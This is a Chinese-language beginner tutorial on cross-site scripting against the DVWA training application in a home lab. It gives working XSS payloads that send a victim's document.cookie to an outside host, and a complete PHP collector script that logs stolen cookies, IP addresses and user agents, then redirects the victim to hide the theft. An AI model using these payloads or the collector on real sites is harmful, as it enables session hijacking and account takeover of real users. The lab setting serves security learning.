XSS跨站脚本攻击入门实例--DVWA
对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“Live http headers、Tamper Data、Gressmonkey (Cookie injector)、Fiddler”等等工具将cookie修改为获取的cookie,这样即可获得权限。成功还有必要因素(同源策略+浏览器+form标签表单)
首先,我们在DVWA搭建下http://192.168.0.5/dvwa/vulnerabilities/xss_r/
图一
head代码模块中写入:发send(其实是跳转,转移cookie)
<script>document.write('<img src="http://localhost/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
或者
<script>document.location = 'http://localhost/test.php?cookie=' + document.cookie;</script>
以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读 者可自行选择,当然也有其它语句可达到一样的目的,就看你如何发挥了。
图二
这里我把脚本放在Bt5上,Bt5地址:192.168.0.5。测试机XP:192.168.0.103 XP机登陆DVWA环境
接下来我们来编写上面的Accept_cookie.php(收cookie)文件,它主要用于获取对方的cookie, 其源代码如下:
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com"); //将网页重定向到百度,增强隐蔽性
?>
文件所处目录:
1、执行图二,在框中输入<script>document.write('<img src="http://192.168.0.5/Accept_cookie.php?cookie='+document.cookie+'"width=0 height=0 border=0 />');alert(/XSS/)</script>
2、点击Submit。
3、在Bt5下查看结果http://localhost/cookie.txt。cookiet位于Accept_cookie.php同目录下。看看cookie.txt 文件是否被创建并写入数据,结果如图3所示:
很明显,我们已经成功窃取到cookie了,剩下的事相信大家都知道。。。
cookie.txt没有Referer的几点原因:
1.1地址前没有加入“http://”跳转 1.2‘+document.cookie+’ 中没有加“++”号
1.3 unicode编码加解密过程编码差异 1.4Accep_cookie.php 后缀点前面多出一空格
深入一点可以在http://192.168.0.5/dvwa/vulnerabilities/xss_s/ 页面进行以上操作。存储型XSS...
举个例子说明:DVWA-XSS漏洞利用窃取cookie:http://www.2cto.com/Article/201110/108697.html
上一篇: 憋不住想笑的二货尬事